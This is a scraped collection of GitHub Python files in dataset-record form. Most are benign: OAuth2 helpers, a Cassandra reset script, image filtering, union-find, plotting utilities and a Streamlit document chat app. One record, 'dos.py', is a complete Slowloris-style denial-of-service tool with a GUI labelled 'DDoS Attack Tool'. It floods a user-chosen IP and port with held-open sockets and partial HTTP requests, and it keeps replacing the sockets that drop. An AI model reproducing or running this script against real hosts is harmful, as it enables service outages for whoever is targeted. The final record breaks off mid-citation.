params.update(extra_params)\n super(AuthRequester, self).__init__(base_url, params)\n\n @property\n def state(self):\n return self._parameters['state']\n\n def get_url(self, parameters={}):\n return self._get_url_with_query_string(parameters)\n\nclass AccessTokenRequester(ApiExecutor):\n def __init__(self, base_url, code, redirect_uri, client_id, grant_type='authorization_code', extra_params={}):\n params = {\n 'grant_type': grant_type,\n 'code': code,\n 'redirect_uri': redirect_uri,\n 'client_id': client_id\n }\n params.update(extra_params)\n super(AccessTokenRequester, self).__init__(base_url, params)\n\n def get_token(self, parameters={}, method='post', decode_to='utf-8', encode_to='utf-8'):\n return self._execute(parameters, method=method, decode_to=decode_to, encode_to=encode_to)\n\n\nclass AccessTokenRefreshRequester(ApiExecutor):\n def __init__(self, base_url, refresh_token, scope=None, grant_type='refresh_token', extra_params={}):\n params = {\n 'grant_type': grant_type,\n 'refresh_token': refresh_token,\n 'scope': scope,\n }\n params.update(extra_params)\n super(AccessTokenRefreshRequester, self).__init__(base_url, params)\n\n def get_token(self, parameters={}, method='post', decode_to='utf-8', encode_to='utf-8'):\n return self._execute(parameters, method=method, decode_to=decode_to, encode_to=encode_to)","repo_name":"tsuetsugu/modmps","sub_path":"modmps/http/oauth2/oauth2.py","file_name":"oauth2.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35466663215","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Python file to reset the tables needed for the ETL pipeline.\n\nIdeally to be run before testing the ETL.\n\nExample:\n $ python reset.py\n\"\"\"\n\nimport pandas as pd\nimport cassandra\nfrom cassandra.cluster import Cluster\nimport re\nimport os\nimport glob\nimport numpy as np\nimport json\nimport csv\nfrom cql_queries import *\n\ndef connect_cassandra():\n \"\"\"Function that connects to the Cassandra Cluster, creates the needed keyspace if \n it still doesn't exists, and connects to it\n\n Returns:\n (cassandra.cluster.Cluster): Cluster connection, used for later shutdown\n (cassandra.cluster.Session): Cassandra session, used to run queries\n \"\"\"\n # connect to the cluster\n try: \n cluster = Cluster(['127.0.0.1'])\n session = cluster.connect()\n except Exception as e:\n print(e)\n # create the keyspace\n try:\n session.execute(\"\"\"\n CREATE KEYSPACE IF NOT EXISTS udacity \n WITH REPLICATION = \n { 'class' : 'SimpleStrategy', 'replication_factor' : 1 }\"\"\"\n )\n except Exception as e:\n print(e)\n # connect to the keyspace\n try:\n session.set_keyspace('udacity')\n except Exception as e:\n print(e)\n return (cluster,session)\n\ndef run_queries(session,query_list):\n \"\"\"Function that runs a list of queries in the received Cassandra session\n\n Args:\n session (cassandra.cluster.Session): session in which the queries will be run\n query_list (list): list of queries to be run\n \"\"\"\n for query in query_list:\n try:\n session.execute(query)\n except Exception as e:\n print('Error running query [{}]'.format(query))\n print(e)\n return\n\ndef main():\n \"\"\"Creates a connection to the Cassandra cluster;\n drops the tables if they exist;\n then shuts down the connection.\n \"\"\"\n # create the connection\n cluster, session = connect_cassandra()\n # drop the old tables\n run_queries(session,drop_table_queries)\n print('Tables successfully dropped')\n # close the connection\n session.shutdown()\n cluster.shutdown()\n\nif __name__ == '__main__':\n main()\n","repo_name":"miguel-faggioni/udacity-data-engineering--proj-2","sub_path":"reset.py","file_name":"reset.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7660071176","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport os\n\n\ndef check_pattern_image_w_nptile():\n white_patch = 255 * np.ones(shape=(10, 10))\n black_patch = np.zeros(shape=(10, 10))\n\n img1 = np.hstack([white_patch, black_patch])\n img2 = np.hstack([black_patch, white_patch])\n img = np.vstack([img1, img2])\n\n tile = np.tile(img, reps=[2, 2])\n return tile\n\n\ndef visualize(names, if_vmax=False, *args):\n fig, axes = plt.subplots(ncols=3, figsize=(3 * len(args), 3))\n for i, data in enumerate(args):\n if not if_vmax:\n axes[i].imshow(data, cmap='gray')\n else:\n axes[i].imshow(data, cmap='gray', vmax=255, vmin=0)\n axes[i].set_title(names[i])\n axes[i].tick_params(left=False, labelleft=False, bottom=False, labelbottom=False)\n\n fig.tight_layout()\n plt.show()\n\n\ndef get_data(data=None):\n if data is None:\n data = check_pattern_image_w_nptile()\n\n x_filter = np.array([\n [-1, 0, 1],\n [-2, 0, 2],\n [-1, 0, 1]\n ]) # 상하 대칭\n\n y_filter = np.array([\n [1, 2, 1],\n [0, 0, 0],\n [-1, -2, -1]\n ]) # 좌우 대칭\n\n return data, x_filter, y_filter\n\n\ndef two_dim_correlation(data, filter_):\n window_size = 3\n height, width = data.shape\n n_window_height = height - window_size + 1\n n_window_width = width - window_size + 1\n\n hadamard_product = lambda row, col: data[row:row + window_size, col:col + window_size] * filter_\n extracted = np.array(\n [[hadamard_product(row, col) for col in range(n_window_width)] for row in range(n_window_height)])\n correlated = np.sum(extracted, axis=(2, 3))\n\n return correlated\n\n\ndef sobel_filtering1():\n data, x_filter, y_filter = get_data()\n x_filtered = two_dim_correlation(data, x_filter)\n y_filtered = two_dim_correlation(data, y_filter)\n\n visualize([\"data\", \"x_filtered\", \"y_filtered\"], False, data, x_filtered, y_filtered)\n\n\ndef sobel_filtering2(path):\n img = Image.open(path)\n new_path = path.replace(\".jpg\", \"-gray.jpg\")\n img_gray = img.convert(\"L\")\n if not os.path.isfile(new_path):\n img_gray.save(new_path)\n\n img_array = np.array(img_gray)\n data, x_filter, y_filter = get_data(img_array)\n x_filtered = two_dim_correlation(data, x_filter)\n y_filtered = two_dim_correlation(data, y_filter)\n\n visualize([\"data\", \"x_filtered\", \"y_filtered\"], True, data, x_filtered, y_filtered)\n\n\nif __name__ == '__main__':\n # sobel_filtering1()\n sobel_filtering2(path=\"data/winter-3317660_640.jpg\")\n","repo_name":"seyeon-shijuan/sesac-machine-learning","sub_path":"chap3_deep_learning/dl_20_sobel_filtering3.py","file_name":"dl_20_sobel_filtering3.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38746959331","text":"N, Q = map(int, input().split())\nqueries = [list(map(int, input().split())) for _ in range(Q)]\n \nunilist = [i for i in range(N)]\n\ndef find(x):\n if x == unilist[x]:\n return x\n else:\n unilist[x] = find(unilist[x])\n return unilist[x]\n\ndef union(x, y):\n s1, s2 = find(x), find(y)\n if s1 != s2:\n unilist[s2] = s1\n\ndef isSame(x, y):\n return find(x) == find(y)\n\nfor query in queries:\n if query[0] == 0:\n union(query[1], query[2])\n else:\n print(\"Yes\" if isSame(query[1], query[2]) else \"No\")\n","repo_name":"yumechi/AtCoderHandoutCodes","sub_path":"ATC/ATC001/atc001b.py","file_name":"atc001b.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"37339992495","text":"from astropy.io import ascii\nimport numpy as np\n\nbatdata = ascii.read(\"BAT_105m_catalog_07jul2019.txt\",delimiter='|',names=[\"ID\", \"BAT_NAME\", \"RA\", \"DEC\", \"SNR\", \"COUNTERPART_NAME\", \"OTHER_NAME\", \"CTPT_RA\",\"CTPT_DEC\", \"FLUX\", \"FLUX_LO\", \"FLUX_HI\", \"CONTA\", \"GAMM\", \"GAMM_LO\", \"GAMM_HI\", \"CHI_SQ_R\", \"REDSHIFT\", \"LUM\", \"ASSOC_STREN\", \"CL2\", \"TYPE\"])\n\nbrightsort = np.argsort(batdata['FLUX'])\n\ndirs = open(\"DirectoryList.txt\",'r').readlines()\n\nra_list = []\ndec_list = []\n\n\n\nfor this_dir in dirs:\n this_dir= this_dir.rstrip()\n this_ra = int(this_dir[:3])\n this_dec = 90 - int(this_dir[3:])\n\n ra_list.append(this_ra)\n dec_list.append(this_dec)\n\nra_arr = np.array(ra_list)\ndec_arr = np.array(dec_list)\n\n\nfor src_ra, src_dec, src_flux, src_name in zip(batdata['RA'][brightsort], batdata['DEC'][brightsort], batdata['FLUX'][brightsort], batdata['COUNTERPART_NAME'][brightsort]):\n\n ra_mask1 = ra_arr - src_ra < 1.5\n ra_mask2 = ra_arr - src_ra > -1.5\n ra_mask = np.logical_and(ra_mask1,ra_mask2)\n \n \n dec_mask1 = np.abs(dec_arr - src_dec) < 1.5\n dec_mask2 = -1.*np.abs(dec_arr - src_dec) > -1.5\n\n dec_mask = np.logical_and(dec_mask1,dec_mask2)\n \n pos_mask = np.logical_and(ra_mask,dec_mask)\n\n ra_filtered = ra_arr[pos_mask]\n dec_filtered = dec_arr[pos_mask]\n #print(ra_filtered,dec_filtered)\n \n \n if ra_filtered.shape[0] == 1:\n print(\"%s %03i%03i %.3f %.3f %.3f\" %(src_name, ra_filtered[0],90-dec_filtered[0], src_ra, src_dec, src_flux))\n\n","repo_name":"CTJChen/martxc","sub_path":"SwiftBins.py","file_name":"SwiftBins.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14411936277","text":"import requests\nimport random\nimport socket\nimport time\nimport logging\nimport sys\nimport tkinter as tk\nfrom tkinter import messagebox\n\nregular_headers = [\n \"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\",\n \"Accept-language: en-US,en,q=0.5\"\n]\n\ndef init_socket(ip, port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4)\n s.connect((ip, int(port)))\n s.send(\"GET /?{} HTTP/1.1\\r\\n\".format(random.randint(0, 2000)).encode('UTF-8'))\n\n for header in regular_headers:\n s.send('{}\\r\\n'.format(header).encode('UTF-8'))\n\n return s\n\ndef send_request(s, method=\"GET\", url=\"/\", headers=None, data=None):\n # Generate random headers for each request if not provided\n if not headers:\n headers = random.choice(regular_headers)\n s.send(\"{}\\r\\n\".format(headers).encode('UTF-8'))\n\n # Add random data to the request body\n if data:\n s.send(data.encode('UTF-8'))\n\n # Send the request\n request = \"{} {} HTTP/1.1\\r\\n\".format(method, url)\n s.send(request.encode('UTF-8'))\n\ndef main(ip, port, socket_count, timer):\n socket_list = []\n\n for _ in range(socket_count):\n try:\n s = init_socket(ip, port)\n except socket.error:\n break\n socket_list.append(s)\n\n while True:\n for s in socket_list:\n try:\n time.sleep(random.randint(1, 10))\n\n http_methods = [\"GET\", \"POST\", \"PUT\", \"DELETE\"]\n method = random.choice(http_methods)\n\n urls = [\"/\", \"/page1\", \"/page2\", \"/api/data\"]\n url = random.choice(urls)\n\n data = None\n if method in [\"POST\", \"PUT\"]:\n data = generate_random_data()\n\n headers = generate_custom_headers()\n\n send_request(s, method, url, headers, data)\n\n response = s.recv(1024)\n logging.info(\"Response status code: {}\".format(response.decode('UTF-8')))\n except socket.error:\n socket_list.remove(s)\n logging.error(\"Socket error occurred.\")\n\n for _ in range(socket_count - len(socket_list)):\n try:\n s = init_socket(ip, port)\n if s:\n socket_list.append(s)\n except socket.error:\n break\n\n time.sleep(timer)\n\n for s in socket_list:\n try:\n s.recv(1024)\n except socket.error:\n socket_list.remove(s)\n logging.error(\"Socket error occurred.\")\n\n if len(socket_list) == 0:\n break\n\n time.sleep(random.randint(1, 10))\n\ndef generate_random_data():\n data_size = random.randint(1, 1024)\n return 'x' * data_size\n\ndef generate_custom_headers():\n custom_headers = [\n \"X-Request-ID: {}\".format(random.randint(1, 1000)),\n \"Content-Type: application/json\"\n ]\n return random.choice(custom_headers)\n\ndef start_attack():\n ip = entry_ip.get()\n port = entry_port.get()\n socket_count = int(entry_socket_count.get())\n timer = int(entry_timer.get())\n\n try:\n main(ip, port, socket_count, timer)\n except Exception as e:\n messagebox.showerror(\"Error\", str(e))\n\n# Create the GUI window\nwindow = tk.Tk()\nwindow.title(\"DDoS Attack Tool\")\n\n# Create and position the labels\nlabel_ip = tk.Label(window, text=\"Target IP:\")\nlabel_ip.grid(row=0, column=0, padx=5, pady=5)\n\nlabel_port = tk.Label(window, text=\"Target Port:\")\nlabel_port.grid(row=1, column=0, padx=5, pady=5)\n\nlabel_socket_count = tk.Label(window, text=\"Socket Count:\")\nlabel_socket_count.grid(row=2, column=0, padx=5, pady=5)\n\nlabel_timer = tk.Label(window, text=\"Timer (seconds):\")\nlabel_timer.grid(row=3, column=0, padx=5, pady=5)\n\n# Create and position the entry fields\nentry_ip = tk.Entry(window)\nentry_ip.grid(row=0, column=1, padx=5, pady=5)\n\nentry_port = tk.Entry(window)\nentry_port.grid(row=1, column=1, padx=5, pady=5)\n\nentry_socket_count = tk.Entry(window)\nentry_socket_count.grid(row=2, column=1, padx=5, pady=5)\n\nentry_timer = tk.Entry(window)\nentry_timer.grid(row=3, column=1, padx=5, pady=5)\n\n# Create and position the start button\nstart_button = tk.Button(window, text=\"Start Attack\", command=start_attack)\nstart_button.grid(row=4, column=0, columnspan=2, padx=5, pady=5)\n\n# Start the GUI event loop\nwindow.mainloop()\n","repo_name":"learnershakil/Dos","sub_path":"dos.py","file_name":"dos.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19201239175","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QVBoxLayout, QComboBox, QLabel, QHBoxLayout, QSlider\n\nfrom apex_yolov5.socket import yolov5_handler\n\n\nclass ModelConfigLayout:\n def __init__(self, config, main_window, parent_layout):\n self.config = config\n self.main_window = main_window\n self.parent_layout = parent_layout\n\n def add_layout(self):\n model_config_layout = QVBoxLayout()\n model_config_layout.setObjectName(\"model_config_layout\")\n self.label = QLabel(\"模型设置\")\n self.label.setAlignment(Qt.AlignCenter)\n\n model_combo_box_layout = QHBoxLayout()\n label = QLabel(\"选择模型:\")\n self.model_combo_box = QComboBox()\n\n self.model_combo_box.currentIndexChanged.connect(self.selection_changed)\n\n model_combo_box_layout.addWidget(label)\n model_combo_box_layout.addWidget(self.model_combo_box)\n\n conf_thres_layout = QHBoxLayout()\n # 创建标签和滑动条\n self.conf_thres_label = QLabel(\"置信度阈值:\", self.main_window)\n self.conf_thres_slider = QSlider(Qt.Horizontal, self.main_window)\n self.conf_thres_slider.setMinimum(1) # 最小值\n self.conf_thres_slider.setMaximum(100) # 最大值\n\n self.conf_thres_slider.valueChanged.connect(self.update_slieder_value)\n conf_thres_layout.addWidget(self.conf_thres_label)\n conf_thres_layout.addWidget(self.conf_thres_slider)\n\n iou_thres_layout = QHBoxLayout()\n # 创建标签和滑动条\n self.iou_thres_label = QLabel(\"交并比阈值:\", self.main_window)\n self.iou_thres_slider = QSlider(Qt.Horizontal, self.main_window)\n self.iou_thres_slider.setMinimum(1) # 最小值\n self.iou_thres_slider.setMaximum(100) # 最大值\n\n self.iou_thres_slider.valueChanged.connect(self.update_iou_thres_value)\n iou_thres_layout.addWidget(self.iou_thres_label)\n iou_thres_layout.addWidget(self.iou_thres_slider)\n\n model_config_layout.addWidget(self.label)\n model_config_layout.addLayout(model_combo_box_layout)\n model_config_layout.addLayout(conf_thres_layout)\n model_config_layout.addLayout(iou_thres_layout)\n\n self.parent_layout.addLayout(model_config_layout)\n self.init_form_config()\n\n def init_form_config(self):\n self.model_combo_box.blockSignals(True)\n self.model_combo_box.clear()\n for key in self.config.available_models.keys():\n self.model_combo_box.addItem(key)\n self.model_combo_box.blockSignals(False)\n if not self.model_combo_box.currentText() == self.config.current_model:\n self.model_combo_box.setCurrentText(self.config.current_model)\n self.conf_thres_label.setText(\"置信度阈值:\" + str(self.config.conf_thres))\n self.conf_thres_slider.setValue(int(self.config.conf_thres * 100)) # 初始化值\n self.iou_thres_label.setText(\"交并比阈值:\" + str(self.config.iou_thres))\n self.iou_thres_slider.setValue(int(self.config.iou_thres * 100)) # 初始化值\n\n def selection_changed(self, index):\n selected_key = self.model_combo_box.currentText()\n if selected_key == '':\n return\n self.model_combo_box.setEnabled(False)\n self.config.set_config(\"current_model\", selected_key)\n self.config.current_model = selected_key\n yolov5_handler.reload_model()\n self.model_combo_box.setEnabled(True)\n\n def update_slieder_value(self, value):\n self.conf_thres_label.setText(\"置信度阈值:\" + str(value / 100))\n self.conf_thres_label.adjustSize()\n self.config.set_config(\"conf_thres\", value / 100)\n\n def update_iou_thres_value(self, value):\n self.iou_thres_label.setText(\"交并比阈值:\" + str(value / 100))\n self.iou_thres_label.adjustSize()\n self.config.set_config(\"iou_thres\", value / 100)\n","repo_name":"wdragondragon/apex-yolov5","sub_path":"apex_yolov5/window_layout/model_config_layout.py","file_name":"model_config_layout.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"25216983022","text":"# https://leetcode.com/problems/is-graph-bipartite/\n# tags: #bfs, #dfs, #graph, #union_find\n#\n# Solution: DFS + nodes coloring\n# Constraint: A graph is bipartite if each edges connects only a pair of nodes\n# We can solve this problem using nodes coloring solution where we color each edge as\n# [v,u] = 1 - [u,v] (Color it with the color opposite to color[u])\n# Time complexity: O(V + E), Space complexity O(V + E)\nfrom typing import List\n\n\nclass Solution:\n def isBipartite(self, graph: List[List[int]]) -> bool:\n def dfs(u: int) -> bool:\n for v in graph[u]:\n if v in color:\n if color[v] == color[u]: return False\n else:\n color[v] = 1 - color[u]\n if not dfs(v): return False\n return True\n\n color = dict()\n for i in range(len(graph)):\n if i not in color:\n color[i] = 0\n if not dfs(i): return False\n return True\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.isBipartite(graph=[[1, 2, 3], [0, 2], [0, 1, 3], [0, 2]])) # False\n print(sol.isBipartite())\n","repo_name":"ronelzb/leetcode","sub_path":"graph_search/0785_is_graph_bipartite.py","file_name":"0785_is_graph_bipartite.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36500343964","text":"import os\nimport datetime\nimport streamlit as st\nfrom streamlit_chat import message\nfrom langchain.document_loaders import PyPDFLoader, DirectoryLoader\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.chains.qa_with_sources import load_qa_with_sources_chain\nfrom langchain.llms import OpenAI\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nst.set_page_config(page_title=\"LangChain Load Docs Demo\", page_icon=\":robot:\")\n@st.cache_resource\ndef load_chain():\n \"\"\"Logic for loading the chain you want to use should go here.\"\"\"\n # template = \"{history} let's think step by step\"\n # prompt = PromptTemplate(input_variables=[\"history\"], template=template)\n llm = OpenAI(temperature=0)\n chain = load_qa_with_sources_chain(llm=llm, chain_type=\"stuff\")\n # chain = load_qa_chain(llm=llm, chain_type=\"stuff\")\n return chain\n\nif \"generated\" not in st.session_state:\n st.session_state[\"generated\"] = []\n\nif \"past\" not in st.session_state:\n st.session_state[\"past\"] = []\nif \"uploaded_files\" not in st.session_state:\n st.session_state[\"uploaded_files\"] = []\n\n# Implement the sidebar\nwith st.sidebar:\n st.header(\"Upload files\")\n\n # Allow multiple files of any type to be uploaded\n new_uploaded_files = st.file_uploader(\"Upload multiple files\", accept_multiple_files=True)\n # Button to append new uploaded files to the session state\n if st.button(\"Add files\"):\n if new_uploaded_files:\n for file in new_uploaded_files:\n st.session_state.uploaded_files.append((file, datetime.datetime.now()))\n else:\n st.warning(\"No files selected for upload.\")\n\n\nwith st.form(key=\"form\", clear_on_submit=True):\n user_input: str = st.text_area(\"You: \", \"\", key=\"input_text\", placeholder=\"please type here\")\n submit: bool = st.form_submit_button(\"Submit\")\n\n\n# Define target directory for saving files\ntarget_directory = \"uploaded_files\"\n\nif submit:\n chain = load_chain()\n loader = DirectoryLoader('uploaded_files/', glob=\"**/*.pdf\", loader_cls=PyPDFLoader)\n print(loader)\n text_splitter = CharacterTextSplitter(separator = \"\\n\\n\",chunk_size=2000)\n docs = loader.load_and_split(text_splitter)\n print(docs[0])\n # output: str = chain.run(input_documents=docs, question=f\"{user_input}. let's think step by step\")\n output: str = chain({\"input_documents\": docs, \"question\": user_input}, return_only_outputs=True)\n\n st.session_state.past.append(user_input)\n st.session_state.generated.append(output)\n\nif not os.path.exists(target_directory):\n os.makedirs(target_directory)\n\nif st.session_state[\"uploaded_files\"]:\n file_counter = 1\n for file, timestamp in st.session_state[\"uploaded_files\"]:\n try:\n # Save the uploaded file to the target directory\n file_path = os.path.join(target_directory, file.name)\n with open(file_path, \"wb\") as f:\n f.write(file.getvalue())\n\n # Display the file name, upload timestamp, and saved file path\n st.write(f\"File {file_counter}: {file.name} (uploaded at {timestamp.strftime('%Y-%m-%d %H:%M:%S')})\")\n st.write(f\"Saved to: {file_path}\") \n\n except Exception as e:\n st.error(f\"Error processing file {file.name}: {str(e)}\")\n\n file_counter += 1\nelse:\n st.write(\"No files uploaded.\")\n\n\nif st.session_state[\"generated\"]:\n\n for i in range(len(st.session_state[\"generated\"]) - 1, -1, -1):\n message(st.session_state[\"generated\"][i], key=str(i))\n message(st.session_state[\"past\"][i], is_user=True, key=str(i) + \"_user\")\n","repo_name":"daisuke19891023/streamlit-langchain-chatapp","sub_path":"pages/3_Load_Docs.py","file_name":"3_Load_Docs.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35873722082","text":"def optelling():\n totaal = 0\n while True:\n getal = eval(input('Voer een getal in: '))\n if getal == 0:\n break\n totaal += getal\n print('Het totaal van alle ingevoerde getallen komt uit op',totaal,'.' )\n\n\noptelling()","repo_name":"Redouanelh/Oefening","sub_path":"pe9_1.py","file_name":"pe9_1.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33907211033","text":"import cv2\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import skewnorm\r\n\r\ndef readConvert(r,g,b):\r\n col = len(r)\r\n y = np.zeros(r.shape)\r\n cb = np.zeros(r.shape)\r\n cr = np.zeros(r.shape)\r\n \r\n for o in range(col):\r\n y[o] = 16+0.257*r[o]+0.504*g[o]+0.098*b[o]\r\n cb[o] = 128-0.148*r[o]-0.291*g[o]+0.439*b[o]\r\n cr[o] = 128+0.439*r[o]-0.368*g[o]-0.071*b[o]\r\n return y, cb, cr\r\n\r\ndef predict(array, mean, cov_matrix):\r\n # p formula\r\n cov_det = np.linalg.det(cov_matrix)\r\n cov_inv = np.linalg.inv(cov_matrix)\r\n array_temp = array-mean\r\n coe = 1.0 / (2.0*np.pi*np.sqrt(cov_det)) * np.exp(-1.0/2)\r\n #size: 38804*38804\r\n p_before = coe * np.exp(np.dot(np.dot(array_temp.T,cov_inv),array_temp))\r\n \r\n row2, col2 = array.shape\r\n # 1*38804\r\n p_after = np.zeros(col2)\r\n for i in range(col2):\r\n p_after[i] = p_before[i,i] \r\n max = 0.0\r\n for i in range(col2):\r\n if(max < p_after[i]):\r\n max = p_after[i]\r\n # [0,1]\r\n p_after = p_after / max\r\n\r\n return p_after\r\n\r\ndef reshape(p):\r\n image = np.zeros(p.shape)\r\n image = image.reshape((218,178))\r\n return image\r\n\r\nif __name__ == '__main__': \r\n path = r\"D:\\Finalpython\\AS4\\test.jpg\"\r\n img = cv2.imread(path)\r\n b,g,r = cv2.split(img)\r\n b = b.flatten()\r\n g = g.flatten()\r\n r = r.flatten()\r\n y, cb, cr = readConvert(r,g,b)\r\n\r\n # 调整为二维数组, 行0为cb, 行1为cr, 方便计算\r\n col = len(cb)\r\n array = np.array([cb,cr])\r\n # skin\r\n mean1 = np.array([[109.73134227],[150.51660748]])\r\n cov_matrix1 = np.array([[61.21311916, -58.40563063],[-58.40563063, 80.40434063]])\r\n\r\n # background\r\n mean2 = np.array([[129.31829351],[130.35454377]])\r\n cov_matrix2 = np.array([[146.3295919, -214.58252164],[-214.58252164, 577.66244108]])\r\n \r\n # use two heap maps to show skin and background probabilities of each pixel respectively\r\n p_s = predict(array, mean1, cov_matrix1)\r\n pic_s = reshape(p_s)\r\n p_bg = predict(array, mean2, cov_matrix2)\r\n pic_bg = reshape(p_bg)\r\n\r\n plt.figure()\r\n im_s = plt.imshow(pic_s, cmap=plt.get_cmap('hot'), interpolation='nearest', vmin=0, vmax=1) \r\n plt.colorbar(im_s, shrink=0.2)\r\n plt.show()\r\n\r\n plt.figure()\r\n im_bg = plt.imshow(pic_bg, cmap=plt.get_cmap('hot'), interpolation='nearest', vmin=0, vmax=1) \r\n plt.colorbar(im_bg, shrink=0.2)\r\n plt.show()\r\n\r\n img_gray = pic_s * 255\r\n cv2.imshow('gray', img_gray)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n","repo_name":"MelanthaWang246/Computer-Vision","sub_path":"AS5_3.py","file_name":"AS5_3.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22329313744","text":"from ssr_eval import SSR_Eval_Helper, BasicTestee\n\n# You need to implement a class for the model to be evaluated.\nclass MyTestee(BasicTestee):\n def __init__(self) -> None:\n super().__init__()\n\n # You need to implement this function\n def infer(self, x):\n \"\"\"A testee that do nothing\n\n Args:\n x (np.array): [sample,], with model_input_sr sample rate\n target (np.array): [sample,], with model_output_sr sample rate\n\n Returns:\n np.array: [sample,]\n \"\"\"\n return x\n\ndef test():\n testee = MyTestee()\n # Initialize a evaluation helper\n helper = SSR_Eval_Helper(\n testee,\n test_name=\"unprocessed\", # Test name for storing the result\n input_sr=44100, # The sampling rate of the input x in the 'infer' function\n output_sr=44100, # The sampling rate of the output x in the 'infer' function\n evaluation_sr=48000, # The sampling rate to calculate evaluation metrics.\n setting_fft={\n \"cutoff_freq\": [\n 12000\n ], # The cutoff frequency of the input x in the 'infer' function\n },\n save_processed_result=True\n )\n # Perform evaluation\n helper.evaluate(limit_test_nums=10, limit_test_speaker=-1)\n","repo_name":"haoheliu/ssr_eval","sub_path":"ssr_eval/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"18"} +{"seq_id":"36863139054","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n Plot data from a csv log file using matplotlib.\n See inline help for more info.\n'''\n\nimport argparse\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom fnmatch import filter\n\nfrom .log_loader import LogLoader\n\ndef main():\n description_str = \"Plot data from a csv log file.\\n\" + \\\n \"Specify a list of headers, separated by a colon for plotting on the same subplot.\\n\" + \\\n \"Example: h1 h2:h3 generates two subplots, one with h1, one with h2 and h3.\\n\"\n\n parser = argparse.ArgumentParser(description = description_str, formatter_class = argparse.RawTextHelpFormatter)\n parser.add_argument(\"input\", help = \"Input csv log file, or keyword 'latest'.\")\n parser.add_argument(\"-nt\", \"--notime\", required = False, default = False, action = \"store_true\",\n help = \"If set, using index number for X axis instead of time.\")\n main_arguments, plotting_commands = parser.parse_known_args()\n\n # Load log file.\n # Process latest argument.\n logname = main_arguments.input\n if logname == 'latest':\n logfiles = [i for i in os.listdir('.') if 'log' in i]\n logname = sorted(logfiles)[-1]\n print(\"Loading log: {}\".format(logname))\n logfile = LogLoader(logname)\n\n if len(plotting_commands) == 0:\n print(\"Available data:\")\n for h in logfile.headers:\n print(\" - {}\".format(h))\n exit(0)\n\n # Parse plotting arguments.\n plotted_elements = []\n for cmd in plotting_commands:\n # Check that the command is valid, i.e. that all elements exits. If it is the case, add it to the list.\n headers = cmd.split(\":\")\n # Expand each element according to regular expression.\n matching_headers = []\n for h in headers:\n matching_headers.append(sorted(filter(logfile.headers, h)))\n # Get minimum size for number of subplots.\n n_subplots = min([len(l) for l in matching_headers])\n for i in range(n_subplots):\n plotted_elements.append([l[i] for l in matching_headers])\n\n\n # Create figure.\n n_plot = len(plotted_elements)\n\n # Arrange plot in rectangular fashion: don't allow for n_cols to be more than n_rows + 2\n n_cols = n_plot\n n_rows = 1\n while n_cols > n_rows + 2:\n n_rows = n_rows + 1\n n_cols = np.ceil(n_plot / (1.0 * n_rows))\n\n fig, axs = plt.subplots(nrows=int(n_rows), ncols=int(n_cols), sharex = True)\n\n if n_plot == 1:\n axs = np.array([axs])\n axs = axs.flatten()\n\n plt.suptitle(logfile.log_name + \"\\nFile: \" + logfile.filename)\n # X axis: time or simple index, based on user input.\n if main_arguments.notime:\n x_values = range(len(logfile.data[logfile.headers[0]]))\n else:\n x_values = logfile.data['time']\n # Plot each element.\n for i in range(n_plot):\n for name in plotted_elements[i]:\n axs[i].plot(x_values, logfile.data[name], label = name)\n # Add legend to upper left corner.\n for ax in axs:\n ax.legend(bbox_to_anchor=(1.0, 1.0), loc = 1)\n ax.grid()\n plt.subplots_adjust(bottom=0.05, top=0.92, left=0.06, right=0.98, wspace=0.1, hspace=0.05)\n plt.show()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Siviuze/CL4P-TP","sub_path":"simulation/src/claptrap_simu/log_handling/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7383431649","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 27 19:18:27 2019\r\n\r\n@author: Shen xiao\r\n\r\nPlease cite our paper as:\r\n\"Xiao Shen, Quanyu Dai, Fu-lai Chung, Wei Lu, and Kup-Sze Choi. Adversarial Deep Network Embedding for 